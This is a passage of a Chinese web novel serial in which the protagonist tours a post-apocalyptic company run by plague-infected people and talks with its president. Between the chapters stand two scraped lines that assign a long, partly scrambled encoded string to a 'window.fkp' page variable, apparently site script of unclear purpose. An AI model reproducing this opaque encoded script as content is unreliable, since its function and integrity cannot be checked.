殇手摸下巴思索片刻,然后好奇地问: “那它有什么特点吗?” 阿曼达解释道: “狂化之血是针对感染者的一种注射式强化剂,能活化全身的疫病细胞,让使用者进入发狂的战斗模式。注射这种强化剂,对感染者来说并不会有太大的副作用,但要是人类使用,那可就是要命的毒药了。人类一旦注射这种东西,若不佩戴核心或核心等级过低,那极大概率会在轻微的发狂中变成感染者。就是核心等级高变不了感染者,那也会陷入长时间的虚弱,同时使核心活性减低。” 殇很惊讶地说: “这么厉害!” 阿曼达补充道: “这东西我们只会对感染者使用。马塔库库吩咐我们Z装备只能一对一,强化型注射剂就是强化型注射剂,除非是到了迫不得已的时候。” 殇赞扬道: “那你们这儿还挺人性化。” 阿曼达拿起储存叶绿色液体的容量瓶,继续向殇介绍道: “这就是我们的医疗兵配备的Z装备,腐败药剂。” 殇问: “那这个有啥特点?” 阿曼达解释道: “腐败药剂是针对感染者的一种医疗药品,能让使用者全身的疫病细胞进入快速分裂再生状态,能快速治疗我们战士的各种战争创伤。这个与狂化之血同理,不能给人类使用,否则后果很严重。” 殇点点头,说: “原来如此。” 阿曼达拿起存储紫红色液体的容量瓶,继续介绍道: “这就是我们对付高强度入侵者的宝具,代号:瘟疫。” 阿曼达转头看向殇,殇点了点头。阿曼达转过头来,看着这瓶中紫红色液体。阿曼达的脸倒映在瓶中的液面,瓶中液体如无尽深渊般凝视阿曼达,同阿曼达凝视瓶中的深渊。阿曼达非常郑重地向殇介绍道: “这是我们Z公司最强的武器,堪比核弹级别的生物兵器。连存放它的储罐都是高强度分子材料打造,就怕有一点点从中泄露出来。它的强大以至于只有这疫病的零号病患才能驾驭,而作为普通感染者的我们一旦触碰就是死命。” 殇一脸惊愕地问: “是什么让你们感染者都惧怕?这里面放的是啥呀?” 阿曼达郑重地说: “猩红疫病-阿尔法异变病毒株混合祖始疫病病毒株的病毒存储液。这其中的猩红疫病病毒是传说中能弑神的病毒,是这星球上最强大的病毒。一旦染病,十分钟内灰飞烟灭,无论是人还是感染者,就是神也是如此。” 殇震惊了,惊诧地说: “你确定你没在开玩笑?!这可太牛逼了!” 阿曼达假装去拧盖子,开玩笑似地说: “实践是检验真理的唯一标准。要不你试试?” 殇摆摆手,说: “不了不了。” 阿曼达小心翼翼地将这罐究极毒物放回原处。放完东西,阿曼达对殇说: “特色装备都给你展示完了,接下来随我和聂茨一起去其他部门逛一逛吧。” 殇点了点头,说: “行。” 阿曼达和聂茨总共带着殇逛了八个部门,最开始的安保部是第一个。在看完Z式装备之后,接下来,阿曼达他们先从离安保部最近的建筑规划部逛起。接着一路向上推进,建筑规划部到医疗部再到福利部、人文部、科技研发部、财政部、中央管理部兼人力资源部,最后再到总裁办公室。 这一圈逛下来,也便将整个Z公司逛了个干净。 未完待续...... window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 联盟国—第七话:Z公司(中) 书接上文...... 第二号部门,建筑规划部,Z公司内最为清闲的部门。该部门内集结了土木工程学的各大感染者精英,其中不乏还有AI仿生人辅助。该部门内的氛围没有正常公司部门内该有的紧张氛围,这里的氛围反倒是愉快些许。在这样的氛围中,该部门人员总能在摸鱼与工作之间找到快乐。 该部门的部长是阿姆斯特朗,一个表面冷漠但实则幽默的男感染者。阿姆斯特朗带殇在部门内部好好走了一圈,并向殇好好介绍了下Z公司整体的建筑构造与布局。虽然殇听不懂那些专业术语,但还能听懂个大概。他还向殇展示了Z式建筑风格的蓝图与实景图片,那的确震撼到了殇,殇非常佩服设计出这种建筑风格的创作者们。 在殇临走前,聂茨和阿姆斯特朗彼此抱怨了一番。 聂茨: “公司的扩建计划还迟迟提不上日程。加入我们的感染者还是太少了,这样下去不知何时才能请你们这些大师出手。” 阿姆斯特朗: “对呀,真是该死。每当计划提不上进程的时候,我们总得计划着墙的一百种破拆方式。我已经想到第二十七种方法,那就是边等待边与墙聊人生,时间一长就把墙给聊塌掉喽。” 聂茨: “哈哈哈,你还如往常一样幽默。” 阿姆斯特朗: “若我有纳米机器,也许拆墙不再是烦恼,但建墙又成了苦差事。无论怎样,我都得把屁股从椅子上挪开,去寻思怎么规划、怎么实行建设。” 第三号部门,医疗部,Z公司最为静谧的部门。该部门内集结了各大擅长医术的感染者,其中该部门有一半成员是被弃的AI仿生人。该部门时常保持静谧的氛围,偶尔能听到该部门员工的几声低语或是诵读工作汇报,多数时安静到一根针落地都能清楚地听见。当遭遇工作事故与入侵事件,这里可就不静了。届时,这里有多安静就该有多喧闹。 该部门的部长是卓凛冽,一个慈祥又富有仁爱的男感染者。卓凛冽带殇在部门内小心走过一处处病房,一路来到他的办公室中。在路途中,殇能看到许多躺在病床上接受治疗的感染者,殇不禁感慨这里浓浓的人情味。在办公室内,他向殇好好介绍了下Z公司全面又而人性的医疗系统。介绍完这些,门外突然传来他助手的呼唤。一听是科技研发部的测试员出了工伤,他急忙起身去接待患者。殇一看,这也没法继续聊下去,也便起身离开了。 在殇临走前,聂茨告诉殇: “他总是这样。患者的事永远是第一位的。对于他来说,时间比黄金都珍贵。即便患者受的是小伤,他也依然这般急切地去治。真是羡慕他啊!这样热爱自己所做的工作,将工作看在第一位,是何等崇高的精神啊。” 殇: “所谓医者仁心,想必就是如此吧。” 聂茨: “希望我们公司能有越来越多像他老人家这样品格高尚的成员。这样我们的公司才能在蓬勃中向前,不至于落后呀。” 第四号部门,福利部,Z公司最为冷清的部门。该部门内集结了公司内爱好最多的一群感染者。在该部门内,你要是没个三大喜好都没面子说自己是这儿的员工。导致这一切的根本原因是申请福利是部长们的事,普通员工不会来申请福利。来该部门最多的人是Z公司的总裁马塔库库,她心系这里的每位员工,便时不时来这里规划着为员工增加福利。 该部门的部长是露西,一个喝咖啡与打台球上瘾的女感染者。露西向殇简单介绍了下福利部冷清的情况,然后就去忙着在竞技游戏中上分去了。殇主动提问,问她Z公司的员工福利如何。露西很客气地一一解答,然后扭头就继续忙着上分。殇环视了一圈福利部内,发现几乎没有一个员工在工作,都在摸鱼。 在临走前,聂茨和露西互相吐槽了一番。 聂茨: “我真不知道这部门开设是干嘛用的。你们一年休了三百多天的假,每日工作时间不足十分钟,摸鱼都成常态了,不摸鱼都不是你们了。这可如何是好,这部门简直......简直我都无话可说了。” 露西: “放轻松,聂茨。并不是所有人都像你一样常有活要干。我们这只是实在没有事可干,只能稍稍摸摸鱼,度过那些没活干的时光。反倒是你,你没轮到像我们这样悠闲的部门,就来挖苦我们,是不是显得你无理取闹了些?” 聂茨: “露西,你!你这个坏家伙,就知道欺负我。” 露西: “哼,别人我还不欺负呢。” 聂茨: “你这个坏家伙!” 露西: “小样,是不是欠收拾了。” 聂茨: “你等着,我一会找阿曼达大哥来,让他来收拾你。” 露西: “嘿嘿,阿曼达不打女员工。” 聂茨: “你!你!!你!!!哼,我觉得我们没必要再继续谈话了。” 露西: “嘻嘻,拿我没招了吧。” 第五号部门,人文部,Z公司最为普通的部门。该部门与其他公司的人文部基本一致,除了员工都是感染者这一点以外。在该部门内,忙碌是种奢求,就像放假一样,这里的员工渴望忙碌的日子,因此人文部的一直在寻找工作去做。同福利部一样,光顾人文部最多的人还是马塔库库。马塔库库一般一个月来一次,每次一来都得送上小半摞文件。那一时间,是该部门最忙碌的时候。 该部门部长是马雨涵,一个热心肠又娇小可爱的女感染者。即便人文部内不具什么特色,但马雨涵仍热情似火地带领殇参观了一圈人文部,热情又有些尴尬地好好介绍了这里。虽然殇很想跟她多聊几句,但人文部的普通令殇难以开口,说个几句也是尬聊。殇尴尬,她也跟着尴尬,但她仍尝试创造话题。 在临走前,聂茨和马雨涵好好夸奖了对方一番。 聂茨: “你依然是那般热情似火呀!即便工作那么无聊,你也仍是这般热情又富有动力。真是羡慕,若我能有像你这样这样的热情,也许我就能当上总裁的秘书了。可总裁没有秘书哒,那我还是老老实实跟着我家阿毕吧。” 马雨涵: “过奖了,聂茨。我只是心里的热血多到溢出,实力还是比较普通的。但要论起真实力来,还属你和阿毕啊。” 聂茨: “不必这般夸赞,我和阿毕只是做了我们该做的事。” 聂茨手挡着嘴,她此刻既开心又有些害羞。 马雨涵: “聂茨姐,别那么害羞呀。这样不禁夸可不行,万一以后你要成了大人物,你可就得再死一次喽。” 聂茨: “为什么呢?” 马雨涵: “死于害羞呀!笨内,聂茨。” 第六号部门,科技研发部,Z公司最为繁忙的部门。该部门集合了Z公司全部的科学精英,是多种Z科技诞生的地方;同时这里也是Z公司的生命所在,这句话并非空穴来风。原本该部门是有几名人类的科研人员存在的,如今只剩下了马塔库库和上官两位科研人员。那些科研人员离去后再也没有回来,也许是鄙弃这个地方,毕竟Z公司内全是感染者;或许是考虑个人利益原因,毕竟Z公司自从成立以来基本一直在亏钱;又或许有什么难言之隐,毕竟每个人都有背景、理由与力场。 该部门的部长是上官,一个高个子、黑头发、戴眼镜,待人热情又有些社恐的帅小伙。上官见到殇这个活人,别提有多惊喜、多高兴了。他二话不说,拉着殇就了去科技成品展示区逛了一大圈。他当起热心导游,向殇仔细地介绍Z公司的产品与科研成果。为防止殇听不明白,他还特意将专业名词转化为通俗易懂的话语,可谓是贴心至极。 给殇介绍完那些东西,他领着殇来到部门的一个角落,询问了殇一些私密的问题。他问殇此行的终点在哪里,殇告诉他是马塔库库那里。他一听甚是高兴,于是从口袋里拿出一个长方形盒子。他把这个盒子给了殇,要殇把这个盒子亲手交给马塔库库。殇收下了,并答应他会去办。但在办之前,殇忍不住问了一句: “这里面是啥呀?” 他露出一抹神秘的微笑,回答道: “一些数据,她需要的数据。” 殇揣测了一会,而后小声问道: “你和马塔库库是?” 他的脸泛起红润,眼神慌张了一刹那,殇一秒识破了他的内心。看破不说破,殇装作什么也不知道。他摸了摸后脑勺,笑着说: “纯度不高的男女朋友关系。未经官方认证,只是我单方面认为。” 殇露出一抹坏笑,追问道: “纯度有多少?浓还是稀?” 他小声告诉殇: “17.23%是纯的,45.10%是杂的,剩下的37.67%我不知道。” 殇轻轻用手怼了下他的肩膀,告诉他: “这个忙我帮了。但你俩具体以后会怎样?就看你小子怎么表现了。” 他点点头,用坚定的眼神告诉殇自己的决意。殇也点点头,用同样坚定的眼神回应。这是殇在旅途中看到的不知第几对情侣了...... 临走前,聂茨和上官用一种特殊语言交流了一下。殇不知道他们说了些什么,殇在一旁一头雾水地听着。在两人交流完之后,两人都露出爽朗的笑容,大笑了几声后就各干各的去了。 第七号部门,财务部,Z公司最为严谨的部门。该部门如正常公司的财务部一样,是管理公司财务的地方。由于Z公司内的特殊规定,其他部门员工和外来者不得进入该部门。于是乎,殇只能放弃进入该部,听聂茨在该部门外介绍该部。 该部门的部长是潘,一个神秘而又老实的男仿生人。由于无法进入到财务部内部去亲眼看,所以殇只能脑补该部部长的样子。 第八号部门,中央管理部兼人力资源部,Z公司最为严苛的部门。该部门的规模是所有部门里最大的,也是处理事物最多的。Z公司每一步规划与前进方案都要在管理部讨论出个结果,也由该部公布结果并下达执行指令。同时,这里也是管理员工的地方,员工有任何事都要由该部处理并做出合理应对。在该部工作的都是管理界数一数二的强手,能保证每项决定都是严谨的。 该部门的部长是乔,他是一个忙碌又颇具个性特点的帅气男子。值得注意的是,他身披白绒黑体金绣金龙大衣,从派头来看是风范十足,完全配得上管理部部长之位。但当殇凝视他的时候,总觉得哪里不大对劲。他的眼神完全不像是一个部长,而是像那管理八方的君王。 乔领着殇简单逛了一圈管理部,路上也同其他部长一样向殇介绍,他的语气中总有些藏不住的霸气。逛完就把殇送到了主管办公室内,让殇见见主管,顺带自己也去忙忙其他事物。殇特别留意乔,殇总觉得乔这个人不简单。 Z公司的主管是毕昇,一个爱笑又乐观积极的疫病共生者。毕昇严格意义上来说并非是感染者,疫病尚未杀死过他,他体内的组织细胞还是属于他本人。但从某种意义上来说,与疫病共生的他已经不再是人类了。 见到主管的一瞬间,聂茨很热情地主动迎了上去。聂茨凑到毕昇旁边,在毕昇耳边嘀咕了些什么。毕昇听完,微微叩首,表示赞同。说完悄悄话,聂茨往前走了一步,接着郑重地向殇介绍身旁的主管毕昇。 “这位就是我们公司的主管,毕昇。” 在一阵谈话过后,殇了解了毕昇的性格、为人与思考事情的方式,同时也从毕昇口中了解到更多关于Z公司的事情。毕昇亲口向殇讲述Z公司初期的那些遭遇,以及他是怎么一步步当上主管的。 Z公司成立初期,由于该项目的大胆与开拓性,世上大多数企业并不看好Z公司。以马塔库库为首的创始人们拉不来投资,这个项目几乎遭到了所有人的鄙弃,同时Z公司在地平区购置实验区域的计划也被人多方阻止,似乎一切都要逆着我们前进的方向发展。公司没有资金,也没有地产可以建造公司本部,就这样,Z公司的成立计划陷入了停滞。 随着时间慢慢流逝,创始人集团内的人越走越散,最后只留下七人还在坚持这个恢弘的计划。那段时间,剩下那七人也想过离开,但总舍不得这份高远的志向。即便生活痛苦,未来也在荆棘中望不到头,但他们依然选择坚守。在一个契机,马塔库库在地平区发表演说,正巧碰见了巡视工作的碧蓝苍穹。出于对马塔库库理念的认同,碧蓝苍穹为Z公司添上了第一笔投资。 有了投资,算是迈出了坚实的一步,但公司本部的建设依然是个问题。最后打听来打听去,马塔库库她们选择了风岭区的幸存者联盟国中的一块宝地,并用高价买下了那块宝地。说是宝地,但那地方其实早就是废墟连成片,毫无开发价值可言。可对于这群雄心壮志的开拓者们而言,废墟就是城堡最好的建设地。 不久之后,Z公司便在废墟之下建设完成了。 毕昇在Z公司成立初期就加入了Z公司,那时他是被马塔库库那激动人心的演讲所折服,所以才逃离他之前一直称为“家”的收容地,毅然决然地加入到了Z公司。那样做无疑是送命,那意味着背叛与危险,但他这么做并不后悔。起初他并非是主管,那时只是个管理部的普通员工。直到他的潜力被那时才刚刚成为中央管理部部长三天的乔所发现,乔将他推举给总裁马塔库库,这才让他成了Z公司的主管。能走到今天这个位置,大部分的功劳都是乔的。 讲完这些故事,殇对毕昇等人的看法发生了很大的改变。他第一次觉得公司这种地方能是温情与信仰共存的场所,这是殇未曾设想过的事情。在他的印象中,公司是赚钱养活自己的地方,它只能被寄予微薄的希望与点点热情。可今天见识到Z公司之后,这一想法改变了。 殇觉得,今天来Z公司这一趟他认为是一件非常值得的事情。他不仅开拓了视野,还见识到了末世中最真切的温情。也许疫病可以夺去人的身躯,但无法消减人性的光辉。 在离开主管办公室之前,殇问了毕昇最后一个问题。 “那个叫乔的人,到底是什么来头?” 毕昇严肃地告诉殇: “他,本该成为耀星国管理员的......” 殇被惊得双眼瞪得溜圆,他满脸都写着难以置信。他难以相信管理员候选者能委身来到这里工作。这怎么想都不合理,他再怎样也得是在穹顶区生活着的人,没有理由来到贫穷又危险的风岭区生活。是什么让他这样的强者怎能沦落至此?是怀才不遇的堕落,还是遭遇不测的无奈?这只有他本人知道。 毕昇留下聂茨,让聂茨回到岗位上工作。去带殇见马塔库库的事,毕昇交由阿曼达来负责。 最后,总裁办公室,Z公司唯一的圣地。推开一扇朴实无华的木门,走入宽敞的办公室中,迎面飘来阵阵芳香。仔细一闻,是水仙花的淡淡飘香。向办公室内一望,木桌书架咖啡机,文件电脑咖啡杯,展柜茶几饮水机,雕塑花篮水仙花,墙上还挂着Z公司的标志,一看就是一间非常有个性的办公室。在这间办公室之中,一位身材高挑且貌美如花的女子正坐在办公椅上忙活着工作。 细细一瞧,棕褐的长发如初春时的嫩柳一样轻柔垂下,一个墨蓝色的蝴蝶结点缀在棕褐色的溪流中。洁白如雪的肌肤中泛起微微粉润,似几片桃花飘落在了白雪之中。一双蕴含智慧的双眸,碧蓝似海又倒映着光阴,灿若星辰又美丽得让人沉醉。美人的五官不同于常人,总能将人的目光锁住。似乎多看她几眼是种享受,而少看她几眼则是种遗憾。 长发垂下,与一片白色的雪原接壤。她外套一件朴实的白大褂,金色的名片挂在其上。人才的光辉在她身上浮现。她穿着一身白色轻量改良款西服,为增添几分颜值还在西服显眼处加了点梅花纹作装饰。专业的气息从她身上散发出来。一个黑框的眼镜,一个娇小的黑色单耳通话耳机,再加上系在头发上的那个蝴蝶结,这便是她全部的装饰物。她手拿半个草莓甜甜圈,一边时不时吃上一口,一边盯着屏幕打字。看着很不正经,但她却总陷入忙碌之中。 她,就是Z公司的总裁马塔库库,一个有个性的年轻姑娘。 见到马塔库库后,阿曼达先行向马塔库库打了招呼。 阿曼达: “敬爱的老板,我们公司今天来了个新客人。” 一听阿曼达叫自己,专注于工作的马塔库库吓了一跳。她慌乱之中扔出了手中的甜甜圈,意识到甜甜圈离手后急忙去抓,抓了三四下才抓住甜甜圈。马塔库库闭上眼睛叹了口气,说: “还好甜甜圈没事。” 马塔库库擦擦额头,然后吃了一口甜甜圈。吃完这口甜甜圈,马塔库库将目光投向了殇这边。见到殇之后,马塔库库露出开心的笑容,接着迅速起身,拿着还剩下四分之一的甜甜圈向殇这边走来。马塔库库一口将剩下的甜甜圈吃完,快速咀嚼然后咽下,露出和善的笑容并向殇打招呼。 马塔库库: “你好呀,亲爱的客人。欢迎你来到Z公司吖。” 殇: “客气了。自我介绍一下,我叫殇,很高兴认识你。” 马塔库库: “我也同样高兴噢。自我介绍一下,我叫马塔库库·卡布。” 这时,殇突然想起了一个人。 殇: “等等,你姓卡布?你也是卡布家族的人?” 马塔库库: “正是。殇,难道你认识卡布家族的人?” 殇: “我就认识一个,她叫安吉拉·卡布。” 马塔库库一听这名字,反应相当剧烈。她的眼中闪烁出希冀的光辉,满脸的笑容透露出她对真相的渴求。 马塔库库: “二姐!!!你认识我家二姐,太好了呀!你能告诉她去哪里了嘛?” 殇挠挠头,面露难色。 殇: “我不道啊。” 马塔库库露出失望的表情。 马塔库库: “好吧。” 这时,阿曼达对马塔库库说: “老板,若没有事的话,那我先离开了。我在安保部还有事情要处理。” 马塔库库允许了。阿曼达点点头,随即离开。 马塔库库露出从容的笑容,自我鼓励道: “大家伙儿都很忙内,我也得加把劲了。” 殇心里暗暗想道: “看样子,她应该也是个阳光又开朗的姑娘,她应该跟茵萌萌是一个类型的。不过,她称呼安吉拉为二姐。难道,她是安吉拉的亲人?” 这时,殇注意到了马塔库库腰间挂着的武士刀。殇仔细打量了这把刀的刀鞘,发现这把刀的刀鞘上竟有着两个弹匣和两个扳机,同时还有意义不明的红色灯条装饰。看着看着,殇突然灵光一闪,仿佛明白了这么设计的原因。马塔库库见殇注视自己的武器,便微笑着问殇: “殇,你是刀剑的忠实粉丝吗?” 殇没摇头也没点头,只是轻轻地说了句: “只是略知一二。” 一听殇这么说,马塔库库顿时来了热情。马塔库库拍了拍这把刀的刀鞘,接着向殇好好介绍了下这把武士刀。 马塔库库: “这把刀是我父亲传给我的大宝贝,其名为‘神刀村雨·血暮’。据说,这是一把能削铁如泥、杀人不沾血的神兵。我作为家里的三妹,父亲担心我本性娇弱容易被人欺负,所以就把家里最强兵器给了我。父亲还说:‘马塔库库啊,要是以后谁欺负你了,就拿这刀挫他威风。他要是敢伤害你,你就直接削他,出了事故爸给你掏钱。’父亲真好,我最爱父亲了。” 殇: “不得不说,你这父亲可真负责任。” 马塔库库: “我也这么觉得。爸爸最好了!” 殇: “话说,你这刀有什么特别之处吗?” 马塔库库露出一抹神气的微笑,眉目与表情中尽体现自豪的样子。 马塔库库: “当然有啦!不然怎能说它是神兵呢。” 马塔库库握紧刀鞘,将一根手指伸到鞘口前扳机前。马塔库库快速摆出樱藏浪人的战斗姿势,其动作变换流畅丝滑,一看就是经过专业训练。 马塔库库: “这把刀总共有三大特点,且听我慢慢道来。” 马塔库库稍稍挪了挪步,将身体方向偏转离殇,以防接下来的操作伤到殇。 马塔库库: “可别眨眼哦。” 马塔库库扣下扳机,刀鞘内的隐藏枪膛内撞针激发空壳弹,一阵高温高压气体喷出枪膛,撞击内部机关。只听得噗呲一声,刀在高压气体的助推下飞速离开刀鞘,那一个瞬间,殇未能看清刀身的影子。不及殇反应,马塔库库伸手抓刀,一个箭步跃起,在优美的回旋舞步之后,她快速落地,打出一记下劈砍。 等殇反应过来时,马塔库库自信地笑着,快速收完了刀。她的一步一式都如技巧高超的武士。她又优雅地撩动了下头发,举止优雅又不失武士的威严。 马塔库库: “这就是它的第一个特点。出刀可以快过闪电!怎么样,是不是很厉害?” 殇很佩服地鼓了鼓掌。 殇: “属实厉害。” 马塔库库: “诶!我跟你说,它还有两大特点呢。她还可以发射真的子弹哦,关键时候它可以替代枪械。可装载的最大口径是.50AE,不过射击手感用起来有些糟糕。” 殇: “这设计可太阴险了。在刀鞘上藏枪,那岂不是‘武士精神’太过于充沛?这有失武德。” 马塔库库: “武德是什么?能吃吗?” 殇: “也许能吃。” 马塔库库: “那我想尝尝武德味的鸡蛋饼。” 殇: “咳咳......话说回来,你这刀的第三样特点是什么?” 马塔库库: “第三样特点,就在这刀内部。” 马塔库库摆出架势,面向殇的另一边,接着快速拔刀,使出一记居合斩。似乎是她想在殇面前耍个帅,打出居合斩之后又用了个突刺,结果一个不小心,啪的一下,她表演出了绝活平地摔。 “诶呦!” 她摔倒后急忙起身,连忙拍拍身上的尘土,又把腰板挺直,用手细细地擦刀,假装刚刚什么都没发生。在一旁静静看着的殇着实被她这一系列动作给萌到了,她是殇见过的为数不多能用萌这个词来形容的女生。 马塔库库: “诶,擦擦刀。刀有些脏了。——诶!我们说到哪来着?” 殇: “说到这刀的第三个特点。” 马塔库库: “第三个特点......噢!对,第三个特点。这把刀的第三个特点是具备高频震动且附带高温与雷电,经我测试除了一些特别的东西砍不开以外,绝大部分的物体都能轻松砍断的,就跟用勺子挖冰淇淋一样轻松呢。” 殇: “那这刀着实强力。不过话说回来,那些特别的东西指的是什么?” 马塔库库: “据乔先生向我透露,管理员轇独有的纳米科技用我的这把刀是斩不断的。除此之外,那就只有一些很特殊的物体了。” 殇: “纳米科技?听着挺厉害的。——诶,话说你知道乔为何来这里吗?” 马塔库库做了个嘘的手势。 马塔库库: “这是秘密哦。乔先生说了,这些隐秘的事情是不能向非内部人员透露的。” 殇: “好吧。我尊重你的选择。既然是秘密,那我就不必知道了。” 马塔库库: “嗯。——哦!对了。殇,你今天来Z公司的目的是什么呢?” 殇: “我的一个朋友说他的朋友想见我一面,于是我就来了这里。” 马塔库库: “原来如此......——那么,你对我们公司的故事有没有好奇呀?” 殇: “好奇是好奇,不过大多数故事我都在路上了解完毕了。” 马塔库库: “嗯......既然没故事可讲了,真是扫兴内。不过......我还有些消息能跟你说。你有没有兴趣想听呀?” 殇: “当然有兴趣了。” 马塔库库: “嘻嘻。不过在我开口之前,我得问你个问题,请你回答我。你到底是不是殇殿下呀?” 殇: “是,但不完全是。” 马塔库库: “你的答案好怪诶。那么你哪里是殿下,哪里不是殿下?” 殇: “我的精神与灵魂是我自己的,但肉身是借来用的。” 马塔库库: “哦~~~原来是样子的呀......” 马塔库库立马单膝下跪行君礼,她的表情瞬间变得严肃庄重。 马塔库库: “参见殇殿下!恕我先前未能及时行礼。” 殇扶她起来,并告诉她: “行礼就不必了。” 马塔库库起身深鞠一躬,说: “谢殿下。” 殇有些尴尬地说: “其实,你不必这么庄重。我喜欢你刚才平常风格的谈话,别把我这个未完全的王看得那么重。” 马塔库库点点头,露出一抹甜甜的笑容,说: “知道了,殿下。” 殇很严肃地说: “叫我殇就行。” 马塔库库点头,说: “好的,殇。” 殇: “继续聊我们之前的话题吧。请讲。” 这时,马塔库库叹了口气,表情变得忧虑许多。从她的眼神之中,殇看到真切的担忧与恐惧。似乎是什么事正困扰着她,令她视其为梦魇。 马塔库库: “其实......我做个了十分错误的决定。这一决定使Z公司陷入到‘崩坏乐园’的状态之中,我们随时可能迎来灭亡。正是因为我做出的这个决定,曾与我奋战的几位战友就话也不说一声地离开了。我很后悔伤了他们的心,但我不后悔做出这个决定。没有这个冒险的决定,也没有Z公司现在的欣欣向荣。” 殇: “那个决定是什么?” 马塔库库: “成为碧蓝世界的附属公司。” 殇: “啊?你跟碧蓝苍穹那小子混?” 马塔库库: “不,我们连混都称不上。我们只是碧蓝苍穹手中的一个兵棋子,随时可以被抛弃。这种感觉,就像是笼中的鸟儿一般。渴望天空却无力飞行,我们的翅膀早已被沉重的链条锁死。我们只能得过且过,苟活在笼中祈祷明日还是星期三。——碧蓝苍穹有个习惯,他绝不会在星期三办黑事。因而星期三是他的所有笼中之物的幸运日,也是我们Z公司的幸运日。” 殇: “所以说毕昇口中的那笔投资......” 马塔库库: “那是糖衣炮弹,是我天真犯下的错。” 殇: “哈?” 马塔库库: “我们Z公司对于碧蓝世界来说,就是个原料批发厂!——Z公司与碧蓝世界签订了许多协议,那些协议大多是束缚我们的。我们所有的产品只能售卖给碧蓝世界,而且一些隐秘级的原材料还要无偿提供给碧蓝世界。在我们提供的材料之中,包含碧蓝世界正在研发的新产品血清装备的原材料。” 殇: “深处窘境啊!” 马塔库库: “我真的非常、非常害怕我们Z公司那一天会遭到不测。他们说话都是没准的,不定什么时候觉得我们是累赘,就将我们咔嚓掉了。在可预见的将来,那样的事极有可能发生!到时候......大家,大家都会被处理掉的!谁也逃不掉。包括我们每一个人,包括我所热爱的所有......” 殇: “那的确是个问题。哎......走一步看一步,随机应变,顺其自然吧。” 马塔库库: “嗯。——说到此处,我觉得真的非常、非常对不起大家,我是个罪人!我竟亲手将我所喜爱的一切送上断头台,将大家都置于最危险的境地当中。就连我自己也难逃桎梏,那仿佛就是我们的命运。” 殇: “但你也尽你所能地去做了,尽管结果不尽人意。你能将公司经营到现在,已经非常不容易了。” 这时,马塔库库的脸上微微泛起笑意。似乎是想到了什么开心的事,让她在绝境之中看到一丝光明。 马塔库库: “还好有大家的陪伴,我们能携手一同度过难关!我相信,我们一定能在这条充满坎坷的道路上取得成功!我相信,我们一定能救赎所有的感染者,将它们失去的人性归还给它们。我相信,我们Z公司一定能斩破荆棘,走向美好的未来的!我相信......希望是这时代如钻石一样珍贵的东西。” 她的眼中有光,希冀从中萌芽。这种眼神,殇曾在许多人身上看到过。可他们多是怀才不遇后堕落,或是怀抱希望归于星河。无情的现实总是摧残人的心灵,撕碎他们眼眸中的星辰;但他们又总会拾起破碎的星尘,用双手拼凑出属于自己的星空。突然间,殇又回想起了星北空曾用生命向世界诉说的道理。那首名为生命的史诗,那支名为勇气的颂歌。 殇: “唉......把握住现在吧,姑娘。不要将一切都寄托在幻想,付之实际行动才是硬道理。加油!我看好你。” 马塔库库: “被感动到了呢。——嗯。我会努力的!” 殇: “对了,我知道一个和你志同道合的人,也许你和他合作比较好些。” 马塔库库: “谁呀,谁呀?能给介绍给我认识认识吗?” 殇: “他叫楚。” 马塔库库: “楚桑!!!我的老师。” 殇: “你和他认识?” 马塔库库: “嗯。那时候,我可常看他的那些讲课影像集呢。就是他,让在大学时期的生物学及时被抢救了回来,那时候差点挂科。还好有楚老师影像的帮助,差一点点就挂科了......——噢,对了,楚老师不是被报道死在青兰国了吗?” 殇: “他并没有死,而是在暗中进行着科研工作,至今仍在继续。他现在人就在青兰国。” 马塔库库: “哦,原来如此。那我找时间得去探望探望楚老师,顺带看看能不能拉他入伙。我觉得依照楚老师的实力,制造更多Z科技完全不是问题。嘻嘻......又要有一个合作伙伴了呢。” 未完待续...... window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 联盟国—第八话:Z公司(下) 书接上文...... 这时,殇想起上官委托自己的那件事。殇赶忙拿出那个长方形盒子,并将这个盒子交给了马塔库库。马塔库库见到这盒子先是一惊,后是一喜,又是露出开心的笑容,又是脸红害羞的。 殇: “这是那个谁......那个......诶!对,科技部部长上官让我转交给你的。” 马塔库库一只手捂着脸,一边盯着这个盒子笑。藏不住的喜悦遍布她的全身,一种情窦初开后的娇羞感涌上她的心头。一旁的殇见马塔库库反应这么剧烈,顿时间明白了一切。这是殇这一路上认识到的不知第几对情侣了。 马塔库库: “你这家伙可真是的,送个礼物干嘛要客人来送,这样岂不是不尊重客人。真是的,又在外人面前不好意思了呢,真的是烦内!” 马塔库库小心翼翼地打开盒子,这盒中放的是一个白色U盘。马塔库库拿起U盘细细地看了一番,在看到U盘后面的球形小贴纸后,马塔库库瞬间明白这份礼物的用途。马塔库库回忆起了之前与上官的一次普通的谈话。 之前...... 在马塔库库与上官平常的聊天中,她不经意间提到自己心里的一个小想法。 马塔库库: “要是能在公司内见到璀璨的星空就好了。” 上官: “要是技术允许,还真可以办得到。对了,马塔库库,你为什么想在公司内看星空呢?” 马塔库库: “我们处境并不好,离开公司的机会很少,一年都不一定有一次。因此我特别向往外面的世界,我总幻想着我能到外面去溜达溜达。我想看到那迷人的美景,还有那让人陶醉的星空。” 上官: “没办法。环境所迫,这样实属无奈。” 马塔库库: “嗯。——唉......你知道吗?每当我凝望星空的时候,我都能看到我所爱的人们。在点点星光的照耀下,我总能想起曾经的那些美好。它勾起了我的回忆,留住了我的往日。” 上官: “既然如此,那就让我这个高技术人士来帮你实现这个愿望吧。” 马塔库库: “真的吗?!” 上官: “只是几百行代码和一百来个图层,很简单的啦。” 马塔库库: “那......一言为定喽。” 上官: “一言为定。” 回忆结束,马塔库库感觉心里暖暖的,仿佛是有人用真情点燃了她心田,让光明洗礼她的心房。马塔库库真诚地感谢道: “谢谢你,上官先生。真的万分感谢。” 